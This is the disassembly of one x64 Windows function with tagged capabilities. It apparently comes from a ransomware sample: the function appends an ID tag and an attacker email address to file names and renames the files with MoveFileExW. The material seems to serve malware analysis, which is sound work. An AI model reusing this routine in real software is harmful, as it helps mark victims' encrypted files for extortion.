Function at 0x14000bd70
Capabilities:
Check if file exists
Get file attributes
Move file

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x1400d9080]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov r14, rcx
test rcx, rcx
je 0x14000c20d
mov rax, qword gs:[0x58]
xor esi, esi
mov ebx, 4
mov rax, qword [rax]
lea rdi, [rsi - 1]
mov eax, dword [rbx + rax]
cmp dword [0x1400dd5dc], eax
jle 0x14000c01b
lea rcx, [0x1400dd5dc]
call fcn.14007eb08
cmp dword [0x1400dd5dc], edi
jne 0x14000c01b
xorps xmm0, xmm0
mov qword [rbp - 0x29], rsi
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x21], rsi
lea rdx, [0x1400dd4a0]
mov r8, rdi
nop
inc r8
cmp word [rdx + r8*2], si
jne 0x14000be00
lea rcx, [rbp - 0x39]
mov qword [rsp + 0xd8], r13
call fcn.1400361b0
mov rcx, qword [rbp - 0x21]
mov r13d, 5
mov r8, qword [rbp - 0x29]
mov rax, rcx
sub rax, r8
cmp rax, r13
jb 0x14000beda
cmp rcx, 7
lea rax, [r8 + 5]
lea r12, [rbp - 0x39]
mov qword [rbp - 0x29], rax
cmova r12, qword [rbp - 0x39]
lea rax, [0x1400bd34a]
lea rcx, str.._ID_
cmp rax, r12
jbe 0x14000be7e
lea rax, [r12 + r8*2]
cmp rcx, rax
ja 0x14000be7e
cmp r12, rcx
ja 0x14000be73
mov r15, rsi
jmp 0x14000be81
mov r15, r12
sub r15, rcx
sar r15, 1
jmp 0x14000be81
mov r15, r13
lea rcx, [r12 + 0xa]
mov rdx, r12
lea r8, [r8*2 + 2]
call fcn.1400abca0
lea rbx, [r15 + r15]
mov rcx, r12
mov r8, rbx
lea rdx, str.._ID_
call fcn.1400abca0
sub r13, r15
lea rdx, str.._ID_
lea rdx, [rdx + 0xa]
lea rdx, [rdx + r15*2]
lea rcx, [rbx + r12]
lea r8, [r13*2]
call fcn.1400abca0
lea rax, [rbp - 0x39]
mov ebx, 4
jmp 0x14000beeb
mov rdx, r13
mov qword [rsp + 0x28], r13
lea rcx, [rbp - 0x39]
call fcn.140036280
xorps xmm0, xmm0
lea rdx, str._._adm.systemic_gmail.com_
movups xmmword [rbp - 0x19], xmm0
lea rcx, [rbp - 0x19]
mov r8d, 0x1a
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rax + 0x18], 7
mov qword [rax + 0x10], rsi
mov word [rax], si
call fcn.140035450
mov qword [0x1400dd610], rsi
xorps xmm0, xmm0
movups xmmword [0x1400dd600], xmm0
mov qword [0x1400dd618], rsi
movups xmm0, xmmword [rax]
movups xmmword [0x1400dd600], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [0x1400dd610], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rbp - 1]
mov r13, qword [rsp + 0xd8]
cmp rdx, 7
jbe 0x14000bfb2
mov rcx, qword [rbp - 0x19]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bfad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c23d
call fcn.14007ee04
mov rdx, qword [rbp - 0x21]
movdqa xmm0, xmmword [0x1400ca4d0]
mov word [rbp - 0x19], si
movdqu xmmword [rbp - 9], xmm0
cmp rdx, 7
jbe 0x14000c003
mov rcx, qword [rbp - 0x39]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bffe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c23d
call fcn.14007ee04
lea rcx, [0x1400adbb0]
call fcn.14007ede4
lea rcx, [0x1400dd5dc]
call fcn.14007ea9c
mov rax, qword gs:[0x58]
lea r15, [0x1400dd5e0]
mov rax, qword [rax]
mov eax, dword [rbx + rax]
cmp dword [0x1400dd5d8], eax
jle 0x14000c09a
lea rcx, [0x1400dd5d8]
call fcn.14007eb08
cmp dword [0x1400dd5d8], edi
jne 0x14000c09a
xorps xmm0, xmm0
mov qword [0x1400dd5f0], rsi
movups xmmword [0x1400dd5e0], xmm0
mov qword [0x1400dd5f8], rsi
lea rdx, [0x1400dd1c0]
mov r8, rdi
nop
inc r8
cmp word [rdx + r8*2], si
jne 0x14000c070
mov rcx, r15
call fcn.1400361b0
lea rcx, [0x1400adb40]
call fcn.14007ede4
lea rcx, [0x1400dd5d8]
call fcn.14007ea9c
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000c20d
xorps xmm0, xmm0
mov qword [rbp + 0x1f], rsi
movups xmmword [rbp + 0xf], xmm0
mov word [rbp + 0xf], si
mov rcx, rdi
mov qword [rbp + 0x27], 7
inc rcx
cmp word [r14 + rcx*2], si
jne 0x14000c0c6
add rcx, qword [0x1400dd5f0]
mov r12d, 0xa
mov rdx, qword [0x1400dd610]
add rdx, rcx
cmp rdx, 7
jbe 0x14000c141
movabs rbx, 0x7ffffffffffffffe
cmp rdx, rbx
ja 0x14000c243
or rdx, 7
cmp rdx, rbx
ja 0x14000c113
cmp rdx, r12
mov rbx, rdx
cmovb rbx, r12
inc rbx
lea rdx, [rbp + 7]
lea rcx, [rbp + 0xf]
mov qword [rbp + 7], rbx
call fcn.1400363d0
mov rcx, rax
lea rax, [rbx - 1]
mov qword [rbp + 0x27], rax
movzx eax, word [rbp + 0xf]
mov word [rcx], ax
mov qword [rbp + 0xf], rcx
mov qword [rbp + 0x1f], rsi
inc rdi
cmp word [r14 + rdi*2], si
jne 0x14000c141
mov r8, rdi
lea rcx, [rbp + 0xf]
mov rdx, r14
call fcn.140035450
cmp qword [0x1400dd618], 7
lea rdx, [0x1400dd600]
mov r8, qword [0x1400dd610]
mov rcx, rax
cmova rdx, qword [0x1400dd600]
call fcn.140035450
cmp qword [0x1400dd5f8], 7
mov rcx, rax
mov r8, qword [0x1400dd5f0]
cmova r15, qword [0x1400dd5e0]
mov rdx, r15
call fcn.140035450
cmp qword [rbp + 0x27], 7
lea rdx, [rbp + 0xf]
mov r8d, r12d
mov rcx, r14
cmova rdx, qword [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x14000c1c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000c1cd
mov esi, 1
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x14000c209
mov rcx, qword [rbp + 0xf]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c204
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c237
call fcn.14007ee04
mov eax, esi
jmp 0x14000c20f
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.14007e7e0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.140085614
int3
call fcn.140085614
int3
call fcn.14000bd50
int3